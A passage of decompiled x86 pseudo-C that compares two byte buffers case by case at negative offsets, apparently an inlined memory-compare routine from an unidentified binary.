																				__eax = 0;
																				__eflags = __ecx;
																				_t949 = __ecx > 0;
																				__eflags = _t949;
																				__eax = 0 | _t949;
																				__ecx = _t949 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				L308:
																				__eax =  *(__edx - 5) & 0x000000ff;
																				__ecx =  *(__esi - 5) & 0x000000ff;
																				__ecx = ( *(__esi - 5) & 0x000000ff) - ( *(__edx - 5) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t582 = __ecx > 0;
																					__eflags = _t582;
																					__eax = 0 | _t582;
																					__ecx = _t582 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__eax =  *(__edx - 4) & 0x000000ff;
																					__ecx =  *(__esi - 4) & 0x000000ff;
																					__ecx = ( *(__esi - 4) & 0x000000ff) - ( *(__edx - 4) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t588 = __ecx > 0;
																						__eflags = _t588;
																						__eax = 0 | _t588;
																						__ecx = _t588 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L314;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 8:
																	L201:
																	_t1062 =  *(_t1354 - 8);
																	__eflags = _t1062 -  *(_t1340 - 8);
																	if(_t1062 ==  *(_t1340 - 8)) {
																		goto L214;
																	} else {
																		_t1270 = (_t1062 & 0x000000ff) - ( *(_t1340 - 8) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t380 = _t1270 > 0;
																			__eflags = _t380;
																			_t1270 = (0 | _t380) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 7) & 0x000000ff) - ( *(_t1340 - 7) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t386 = _t1270 > 0;
																				__eflags = _t386;
																				_t1270 = (0 | _t386) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 6) & 0x000000ff) - ( *(_t1340 - 6) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t392 = _t1270 > 0;
																					__eflags = _t392;
																					_t1270 = (0 | _t392) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 5) & 0x000000ff) - ( *(_t1340 - 5) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t398 = _t1270 > 0;
																						__eflags = _t398;
																						_t1270 = (0 | _t398) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L214;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 9:
																	L294:
																	__eax =  *(__esi - 9);
																	__eflags =  *(__esi - 9) -  *(__edx - 9);
																	if( *(__esi - 9) ==  *(__edx - 9)) {
																		goto L307;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 9) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t556 = __ecx > 0;
																			__eflags = _t556;
																			__eax = 0 | _t556;
																			__ecx = _t556 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 8) & 0x000000ff;
																			__eax =  *(__edx - 8) & 0x000000ff;
																			__ecx = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t562 = __ecx > 0;
																				__eflags = _t562;
																				__eax = 0 | _t562;
																				__ecx = _t562 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 7) & 0x000000ff;
																				__eax =  *(__edx - 7) & 0x000000ff;
																				__ecx = ( *(__esi - 7) & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t568 = __ecx > 0;
																					__eflags = _t568;
																					__eax = 0 | _t568;
																					__ecx = _t568 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 6) & 0x000000ff;
																					__eax =  *(__edx - 6) & 0x000000ff;
																					__ecx = ( *(__esi - 6) & 0x000000ff) - ( *(__edx - 6) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t574 = __ecx > 0;
																						__eflags = _t574;
																						__eax = 0 | _t574;
																						__ecx = _t574 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L307;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xa:
																	L387:
																	__eax =  *(__esi - 0xa);
																	__eflags =  *(__esi - 0xa) -  *(__edx - 0xa);
																	if( *(__esi - 0xa) ==  *(__edx - 0xa)) {
																		goto L400;
																	} else {
																		__eax =  *(__edx - 0xa) & 0x000000ff;
																		__ecx =  *(__esi - 0xa) & 0x000000ff;
																		__ecx = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t739 = __ecx > 0;
																			__eflags = _t739;
																			__eax = 0 | _t739;
																			__ecx = _t739 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 9) & 0x000000ff;
																			__eax =  *(__edx - 9) & 0x000000ff;
																			__ecx = ( *(__esi - 9) & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t745 = __ecx > 0;
																				__eflags = _t745;
																				__eax = 0 | _t745;
																				__ecx = _t745 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 8) & 0x000000ff;
																				__eax =  *(__edx - 8) & 0x000000ff;
																				__ecx = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t751 = __ecx > 0;
																					__eflags = _t751;
																					__eax = 0 | _t751;
																					__ecx = _t751 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 7) & 0x000000ff;
																					__eax =  *(__edx - 7) & 0x000000ff;
																					__ecx = ( *(__esi - 7) & 0x000000ff) - ( *(__edx - 7) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t757 = __ecx > 0;
																						__eflags = _t757;
																						__eax = 0 | _t757;
																						__ecx = _t757 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L400;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xb:
																	L480:
																	__eax =  *(__esi - 0xb);
																	__eflags =  *(__esi - 0xb) -  *(__edx - 0xb);
																	if( *(__esi - 0xb) ==  *(__edx - 0xb)) {
																		goto L493;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0xb) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t917 = __ecx > 0;
																			__eflags = _t917;
																			__eax = 0 | _t917;
																			__ecx = _t917 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0xa) & 0x000000ff;
																			__eax =  *(__edx - 0xa) & 0x000000ff;
																			__ecx = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t923 = __ecx > 0;
																				__eflags = _t923;
																				__eax = 0 | _t923;
																				__ecx = _t923 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 9) & 0x000000ff;
																				__eax =  *(__edx - 9) & 0x000000ff;
																				__ecx = ( *(__esi - 9) & 0x000000ff) - ( *(__edx - 9) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t929 = __ecx > 0;
																					__eflags = _t929;
																					__eax = 0 | _t929;
																					__ecx = _t929 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 8) & 0x000000ff;
																					__eax =  *(__edx - 8) & 0x000000ff;
																					__ecx = ( *(__esi - 8) & 0x000000ff) - ( *(__edx - 8) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t935 = __ecx > 0;
																						__eflags = _t935;
																						__eax = 0 | _t935;
																						__ecx = _t935 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L493;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xc:
																	L188:
																	_t1061 =  *(_t1354 - 0xc);
																	__eflags = _t1061 -  *(_t1340 - 0xc);
																	if(_t1061 ==  *(_t1340 - 0xc)) {
																		goto L201;
																	} else {
																		_t1270 = (_t1061 & 0x000000ff) - ( *(_t1340 - 0xc) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t355 = _t1270 > 0;
																			__eflags = _t355;
																			_t1270 = (0 | _t355) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0xb) & 0x000000ff) - ( *(_t1340 - 0xb) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t361 = _t1270 > 0;
																				__eflags = _t361;
																				_t1270 = (0 | _t361) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0xa) & 0x000000ff) - ( *(_t1340 - 0xa) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t367 = _t1270 > 0;
																					__eflags = _t367;
																					_t1270 = (0 | _t367) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 9) & 0x000000ff) - ( *(_t1340 - 9) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t373 = _t1270 > 0;
																						__eflags = _t373;
																						_t1270 = (0 | _t373) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L201;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0xd:
																	L281:
																	__eax =  *(__esi - 0xd);
																	__eflags =  *(__esi - 0xd) -  *(__edx - 0xd);
																	if( *(__esi - 0xd) ==  *(__edx - 0xd)) {
																		goto L294;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0xd) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t531 = __ecx > 0;
																			__eflags = _t531;
																			__eax = 0 | _t531;
																			__ecx = _t531 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0xc) & 0x000000ff;
																			__eax =  *(__edx - 0xc) & 0x000000ff;
																			__ecx = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t537 = __ecx > 0;
																				__eflags = _t537;
																				__eax = 0 | _t537;
																				__ecx = _t537 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0xb) & 0x000000ff;
																				__eax =  *(__edx - 0xb) & 0x000000ff;
																				__ecx = ( *(__esi - 0xb) & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t543 = __ecx > 0;
																					__eflags = _t543;
																					__eax = 0 | _t543;
																					__ecx = _t543 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xa) & 0x000000ff;
																					__eax =  *(__edx - 0xa) & 0x000000ff;
																					__ecx = ( *(__esi - 0xa) & 0x000000ff) - ( *(__edx - 0xa) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t549 = __ecx > 0;
																						__eflags = _t549;
																						__eax = 0 | _t549;
																						__ecx = _t549 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L294;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xe:
																	L374:
																	__eax =  *(__esi - 0xe);
																	__eflags =  *(__esi - 0xe) -  *(__edx - 0xe);
																	if( *(__esi - 0xe) ==  *(__edx - 0xe)) {
																		goto L387;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0xe) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t713 = __ecx > 0;
																			__eflags = _t713;
																			__eax = 0 | _t713;
																			__ecx = _t713 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0xd) & 0x000000ff;
																			__eax =  *(__edx - 0xd) & 0x000000ff;
																			__ecx = ( *(__esi - 0xd) & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t719 = __ecx > 0;
																				__eflags = _t719;
																				__eax = 0 | _t719;
																				__ecx = _t719 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0xc) & 0x000000ff;
																				__eax =  *(__edx - 0xc) & 0x000000ff;
																				__ecx = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t725 = __ecx > 0;
																					__eflags = _t725;
																					__eax = 0 | _t725;
																					__ecx = _t725 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xb) & 0x000000ff;
																					__eax =  *(__edx - 0xb) & 0x000000ff;
																					__ecx = ( *(__esi - 0xb) & 0x000000ff) - ( *(__edx - 0xb) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t731 = __ecx > 0;
																						__eflags = _t731;
																						__eax = 0 | _t731;
																						__ecx = _t731 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L387;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0xf:
																	L467:
																	__eax =  *(__esi - 0xf);
																	__eflags =  *(__esi - 0xf) -  *(__edx - 0xf);
																	if( *(__esi - 0xf) ==  *(__edx - 0xf)) {
																		goto L480;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0xf) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t892 = __ecx > 0;
																			__eflags = _t892;
																			__eax = 0 | _t892;
																			__ecx = _t892 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0xe) & 0x000000ff;
																			__eax =  *(__edx - 0xe) & 0x000000ff;
																			__ecx = ( *(__esi - 0xe) & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t898 = __ecx > 0;
																				__eflags = _t898;
																				__eax = 0 | _t898;
																				__ecx = _t898 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0xd) & 0x000000ff;
																				__eax =  *(__edx - 0xd) & 0x000000ff;
																				__ecx = ( *(__esi - 0xd) & 0x000000ff) - ( *(__edx - 0xd) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t904 = __ecx > 0;
																					__eflags = _t904;
																					__eax = 0 | _t904;
																					__ecx = _t904 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xc) & 0x000000ff;
																					__eax =  *(__edx - 0xc) & 0x000000ff;
																					__ecx = ( *(__esi - 0xc) & 0x000000ff) - ( *(__edx - 0xc) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t910 = __ecx > 0;
																						__eflags = _t910;
																						__eax = 0 | _t910;
																						__ecx = _t910 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L480;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x10:
																	L175:
																	_t1060 =  *(_t1354 - 0x10);
																	__eflags = _t1060 -  *(_t1340 - 0x10);
																	if(_t1060 ==  *(_t1340 - 0x10)) {
																		goto L188;
																	} else {
																		_t1270 = (_t1060 & 0x000000ff) - ( *(_t1340 - 0x10) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t330 = _t1270 > 0;
																			__eflags = _t330;
																			_t1270 = (0 | _t330) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0xf) & 0x000000ff) - ( *(_t1340 - 0xf) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t336 = _t1270 > 0;
																				__eflags = _t336;
																				_t1270 = (0 | _t336) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0xe) & 0x000000ff) - ( *(_t1340 - 0xe) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t342 = _t1270 > 0;
																					__eflags = _t342;
																					_t1270 = (0 | _t342) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 0xd) & 0x000000ff) - ( *(_t1340 - 0xd) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t348 = _t1270 > 0;
																						__eflags = _t348;
																						_t1270 = (0 | _t348) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L188;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0x11:
																	L268:
																	__eax =  *(__esi - 0x11);
																	__eflags =  *(__esi - 0x11) -  *(__edx - 0x11);
																	if( *(__esi - 0x11) ==  *(__edx - 0x11)) {
																		goto L281;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x11) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t506 = __ecx > 0;
																			__eflags = _t506;
																			__eax = 0 | _t506;
																			__ecx = _t506 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x10) & 0x000000ff;
																			__eax =  *(__edx - 0x10) & 0x000000ff;
																			__ecx = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t512 = __ecx > 0;
																				__eflags = _t512;
																				__eax = 0 | _t512;
																				__ecx = _t512 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0xf) & 0x000000ff;
																				__eax =  *(__edx - 0xf) & 0x000000ff;
																				__ecx = ( *(__esi - 0xf) & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t518 = __ecx > 0;
																					__eflags = _t518;
																					__eax = 0 | _t518;
																					__ecx = _t518 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xe) & 0x000000ff;
																					__eax =  *(__edx - 0xe) & 0x000000ff;
																					__ecx = ( *(__esi - 0xe) & 0x000000ff) - ( *(__edx - 0xe) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t524 = __ecx > 0;
																						__eflags = _t524;
																						__eax = 0 | _t524;
																						__ecx = _t524 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L281;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x12:
																	L361:
																	__eax =  *(__esi - 0x12);
																	__eflags =  *(__esi - 0x12) -  *(__edx - 0x12);
																	if( *(__esi - 0x12) ==  *(__edx - 0x12)) {
																		goto L374;
																	} else {
																		__ecx = __al & 0x000000ff;
																		__eax =  *(__edx - 0x12) & 0x000000ff;
																		__ecx = (__al & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t688 = __ecx > 0;
																			__eflags = _t688;
																			__eax = 0 | _t688;
																			__ecx = _t688 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x11) & 0x000000ff;
																			__eax =  *(__edx - 0x11) & 0x000000ff;
																			__ecx = ( *(__esi - 0x11) & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t694 = __ecx > 0;
																				__eflags = _t694;
																				__eax = 0 | _t694;
																				__ecx = _t694 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x10) & 0x000000ff;
																				__eax =  *(__edx - 0x10) & 0x000000ff;
																				__ecx = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t700 = __ecx > 0;
																					__eflags = _t700;
																					__eax = 0 | _t700;
																					__ecx = _t700 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0xf) & 0x000000ff;
																					__eax =  *(__edx - 0xf) & 0x000000ff;
																					__ecx = ( *(__esi - 0xf) & 0x000000ff) - ( *(__edx - 0xf) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t706 = __ecx > 0;
																						__eflags = _t706;
																						__eax = 0 | _t706;
																						__ecx = _t706 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L374;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x13:
																	L454:
																	__eax =  *(__esi - 0x13);
																	__eflags =  *(__esi - 0x13) -  *(__edx - 0x13);
																	if( *(__esi - 0x13) ==  *(__edx - 0x13)) {
																		goto L467;
																	} else {
																		__eax =  *(__edx - 0x13) & 0x000000ff;
																		__ecx =  *(__esi - 0x13) & 0x000000ff;
																		__ecx = ( *(__esi - 0x13) & 0x000000ff) - ( *(__edx - 0x13) & 0x000000ff);
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			__eax = 0;
																			__eflags = __ecx;
																			_t867 = __ecx > 0;
																			__eflags = _t867;
																			__eax = 0 | _t867;
																			__ecx = _t867 * 2 - 1;
																		}
																		__eflags = __ecx;
																		if(__ecx != 0) {
																			goto L228;
																		} else {
																			__ecx =  *(__esi - 0x12) & 0x000000ff;
																			__eax =  *(__edx - 0x12) & 0x000000ff;
																			__ecx = ( *(__esi - 0x12) & 0x000000ff) - ( *(__edx - 0x12) & 0x000000ff);
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				__eax = 0;
																				__eflags = __ecx;
																				_t873 = __ecx > 0;
																				__eflags = _t873;
																				__eax = 0 | _t873;
																				__ecx = _t873 * 2 - 1;
																			}
																			__eflags = __ecx;
																			if(__ecx != 0) {
																				goto L228;
																			} else {
																				__ecx =  *(__esi - 0x11) & 0x000000ff;
																				__eax =  *(__edx - 0x11) & 0x000000ff;
																				__ecx = ( *(__esi - 0x11) & 0x000000ff) - ( *(__edx - 0x11) & 0x000000ff);
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = 0;
																					__eflags = __ecx;
																					_t879 = __ecx > 0;
																					__eflags = _t879;
																					__eax = 0 | _t879;
																					__ecx = _t879 * 2 - 1;
																				}
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					goto L228;
																				} else {
																					__ecx =  *(__esi - 0x10) & 0x000000ff;
																					__eax =  *(__edx - 0x10) & 0x000000ff;
																					__ecx = ( *(__esi - 0x10) & 0x000000ff) - ( *(__edx - 0x10) & 0x000000ff);
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = 0;
																						__eflags = __ecx;
																						_t885 = __ecx > 0;
																						__eflags = _t885;
																						__eax = 0 | _t885;
																						__ecx = _t885 * 2 - 1;
																					}
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						goto L228;
																					} else {
																						goto L467;
																					}
																				}
																			}
																		}
																	}
																	goto L529;
																case 0x14:
																	L162:
																	_t1059 =  *(_t1354 - 0x14);
																	__eflags = _t1059 -  *(_t1340 - 0x14);
																	if(_t1059 ==  *(_t1340 - 0x14)) {
																		goto L175;
																	} else {
																		_t1270 = (_t1059 & 0x000000ff) - ( *(_t1340 - 0x14) & 0x000000ff);
																		__eflags = _t1270;
																		if(_t1270 != 0) {
																			__eflags = _t1270;
																			_t305 = _t1270 > 0;
																			__eflags = _t305;
																			_t1270 = (0 | _t305) * 2 - 1;
																		}
																		__eflags = _t1270;
																		if(_t1270 == 0) {
																			_t1270 = ( *(_t1354 - 0x13) & 0x000000ff) - ( *(_t1340 - 0x13) & 0x000000ff);
																			__eflags = _t1270;
																			if(_t1270 != 0) {
																				__eflags = _t1270;
																				_t311 = _t1270 > 0;
																				__eflags = _t311;
																				_t1270 = (0 | _t311) * 2 - 1;
																			}
																			__eflags = _t1270;
																			if(_t1270 == 0) {
																				_t1270 = ( *(_t1354 - 0x12) & 0x000000ff) - ( *(_t1340 - 0x12) & 0x000000ff);
																				__eflags = _t1270;
																				if(_t1270 != 0) {
																					__eflags = _t1270;
																					_t317 = _t1270 > 0;
																					__eflags = _t317;
																					_t1270 = (0 | _t317) * 2 - 1;
																				}
																				__eflags = _t1270;
																				if(_t1270 == 0) {
																					_t1270 = ( *(_t1354 - 0x11) & 0x000000ff) - ( *(_t1340 - 0x11) & 0x000000ff);
																					__eflags = _t1270;
																					if(_t1270 != 0) {
																						__eflags = _t1270;
																						_t323 = _t1270 > 0;
																						__eflags = _t323;
																						_t1270 = (0 | _t323) * 2 - 1;
																					}
																					__eflags = _t1270;
																					if(_t1270 == 0) {
																						goto L175;
																					}
																				}
																			}
																		}
																	}
																	goto L228;
																case 0x15:
																	L255:
																	__eax =  *(__esi - 0x15);
																	__eflags =  *(__esi - 0x15) -  *(__edx - 0x15);
